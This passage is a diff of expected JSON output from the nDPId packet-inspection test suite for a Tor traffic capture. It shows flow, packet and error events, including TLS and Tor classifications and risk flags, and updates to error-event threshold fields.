{"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN","hostname":"www.gfu7hbxpfp.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01351{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1849,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383822129889928,"flow_src_last_pkt_time":1383822129965354,"flow_dst_last_pkt_time":1383822130023500,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":209,"flow_dst_max_l4_payload_len":743,"flow_src_tot_l4_payload_len":209,"flow_dst_tot_l4_payload_len":743,"midstream":0,"thread_ts_usec":1383822130023500,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"212.83.155.250","src_port":51174,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.t3i3ru.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.wohgpas45j6ucw.com","subjectDN":"CN=www.7d43ah2kikrabj.net","fingerprint":"F9:1D:5F:89:8F:D8:58:1E:45:E7:9B:A6:FD:90:95:77:FF:DD:E8:1B"}}} 01604{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1852,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383822129897135,"flow_src_last_pkt_time":1383822129972457,"flow_dst_last_pkt_time":1383822130047877,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":213,"flow_dst_max_l4_payload_len":748,"flow_src_tot_l4_payload_len":213,"flow_dst_tot_l4_payload_len":748,"midstream":0,"thread_ts_usec":1383822130047877,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51175,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN","hostname":"www.gfu7hbxpfp.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.xkgk7fdx362yyyxib.com","subjectDN":"CN=www.g6ghvisevf3ibuu5.net","fingerprint":"94:F9:FF:E2:7F:DB:1F:B8:19:65:20:6F:F6:DE:B6:A5:D5:AF:14:C7"}}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1862,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822130216146} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822130216146,"packet_id":1862,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822130216146} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1862,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822130168859,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00751{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1888,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383822130889737,"flow_src_last_pkt_time":1383822130889737,"flow_dst_last_pkt_time":1383822130889737,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822130889737,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51176,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00522{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1888,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_src_last_pkt_time":1383822130889737,"flow_dst_last_pkt_time":1383822130889737,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383822130889737,"pkt":"UlQA2EYhUlQAWul3CABFAAA0CK1AAIAGwljAqAH8JuVGNcfoAbv0twffAAAAAIACIABZFwAAAgQFtAEDAwgBAQQC"} @@ -188,7 +92,7 @@ 01140{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1893,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1383822130889737,"flow_src_last_pkt_time":1383822131034778,"flow_dst_last_pkt_time":1383822131033681,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":210,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":210,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822131034778,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51176,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.jmts2id.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01348{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":1896,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383822130889737,"flow_src_last_pkt_time":1383822131034778,"flow_dst_last_pkt_time":1383822131220406,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":210,"flow_dst_max_l4_payload_len":929,"flow_src_tot_l4_payload_len":210,"flow_dst_tot_l4_payload_len":929,"midstream":0,"thread_ts_usec":1383822131220406,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51176,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.jmts2id.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"e1691a31bfe345d2692da75636ddfb00","unsafe_cipher":0,"cipher":"TLS_DHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"CN=www.gg562izcxdvqdk.com","subjectDN":"CN=www.fcsyvnlemwxv5p.net","fingerprint":"C1:93:18:2C:A3:1D:AC:5F:C7:DE:17:8A:4E:B1:E8:13:BB:08:73:3A"}}} 02503{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1918,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"finished","flow_src_packets_processed":14,"flow_dst_packets_processed":18,"flow_first_seen":1383822129897135,"flow_src_last_pkt_time":1383822132138706,"flow_dst_last_pkt_time":1383822132203451,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":4523,"flow_dst_tot_l4_payload_len":5299,"midstream":0,"thread_ts_usec":1383822132203451,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51175,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":146,"avg":146706.0,"max":990883,"stddev":220400.9,"var":48576569344.0,"ent":3.9,"data": [64392,65808,9514,82112,4238,79785,91000,88446,79568,146,78186,925,110026,109380,69120,1548,80197,113582,35660,145791,70785,343658,637547,693937,990883,1625,71983,109022,69049,180072,69902]},"pktlen": {"min":40,"avg":348.2,"max":1500,"stddev":347.1,"var":120448.8,"ent":4.3,"data": [52,52,46,253,40,788,174,99,114,1500,142,46,626,40,626,40,626,626,40,626,626,40,626,46,626,40,626,626,40,626,626,40]},"bins": {"c_to_s": [4,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [9,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0]},"directions": [0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,1],"entropies": [4.477674961,4.945419312,4.398030758,5.406278133,4.834183693,7.371150017,6.711827278,5.947438717,6.057762146,7.837278366,6.586953163,4.398030758,7.662993908,4.834183693,7.681317329,4.734183788,7.663327694,7.608054161,4.734183788,7.639224529,7.648303986,4.734183788,7.669913292,4.441509247,7.652542591,4.834183693,7.641192913,7.661419868,4.784183979,7.663778782,7.666988373,4.734183788]},"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1919,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822132212345} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822132212345,"packet_id":1919,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822132212345} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1919,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822132203451,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 02273{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1933,"source":"tor.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"finished","flow_src_packets_processed":14,"flow_dst_packets_processed":18,"flow_first_seen":1383822130889737,"flow_src_last_pkt_time":1383822133768898,"flow_dst_last_pkt_time":1383822133768590,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":3998,"flow_dst_tot_l4_payload_len":5464,"midstream":0,"thread_ts_usec":1383822133768898,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51176,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":215,"avg":185742.4,"max":755290,"stddev":163607.9,"var":26767544320.0,"ent":4.5,"data": [143944,144327,714,149478,37247,195972,163599,153986,192261,56166,215,255054,2118,152835,143919,143900,44572,192109,147551,608487,755290,145485,149387,149841,132696,281585,155046,87778,477208,367752,127492]},"pktlen": {"min":40,"avg":337.4,"max":1500,"stddev":355.4,"var":126324.2,"ent":4.2,"data": [52,52,46,250,40,969,238,99,114,40,1500,126,46,626,40,626,40,626,626,40,626,626,40,626,40,626,626,40,626,46,626,52]},"bins": {"c_to_s": [5,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0]},"directions": [0,1,0,0,1,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0],"entropies": [4.593060017,4.815517426,4.414441109,5.291395664,4.834184170,7.550148964,6.920053005,5.919612408,6.132238388,4.884183884,7.868963718,6.428377628,4.330940247,7.664852619,4.730641365,7.653878212,4.780641079,7.642474174,7.667881489,4.784183979,7.644913673,7.622496128,4.884183884,7.554065228,4.784183979,7.660291672,7.637899399,4.884183884,7.647337437,4.544876099,7.647919655,4.743239880]},"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} 01031{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1936,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":62,"flow_dst_packets_processed":79,"flow_first_seen":1383821665420161,"flow_src_last_pkt_time":1383821774457983,"flow_dst_last_pkt_time":1383821774457610,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1460,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":19175,"flow_dst_tot_l4_payload_len":41545,"midstream":0,"thread_ts_usec":1383822133787472,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} @@ -198,173 +102,51 @@ 01271{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1936,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"finished","flow_src_packets_processed":16,"flow_dst_packets_processed":18,"flow_first_seen":1383821666407384,"flow_src_last_pkt_time":1383821774461034,"flow_dst_last_pkt_time":1383821774460689,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":3946,"flow_dst_tot_l4_payload_len":5300,"midstream":0,"thread_ts_usec":1383822133787472,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"46.59.52.31","src_port":51111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN"}} 01280{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1936,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":580,"flow_dst_packets_processed":996,"flow_first_seen":1383821668403824,"flow_src_last_pkt_time":1383821774532755,"flow_dst_last_pkt_time":1383821774532380,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1460,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":112114,"flow_dst_tot_l4_payload_len":1189036,"midstream":0,"thread_ts_usec":1383822133787472,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN"}} 00906{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":1936,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":5,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383822123915516,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":720,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822133787472,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1937,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822134212476} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822134212476,"packet_id":1937,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822134212476} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1937,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822133931333,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1944,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822136212325} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822136212325,"packet_id":1944,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822136212325} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1944,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1945,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822138212314} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822138212314,"packet_id":1945,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822138212314} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1945,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1946,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822140212281} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822140212281,"packet_id":1946,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822140212281} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1946,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1947,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822142212321} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822142212321,"packet_id":1947,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822142212321} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1947,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1948,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822144212343} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822144212343,"packet_id":1948,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822144212343} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1948,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1949,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822146212271} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822146212271,"packet_id":1949,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822146212271} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1949,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1950,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822148212398} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822148212398,"packet_id":1950,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822148212398} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1950,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1951,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822150212222} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822150212222,"packet_id":1951,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822150212222} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1951,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1952,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822152212240} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822152212240,"packet_id":1952,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822152212240} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1952,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822134768201,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1954,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822154212265} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822154212265,"packet_id":1954,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822154212265} 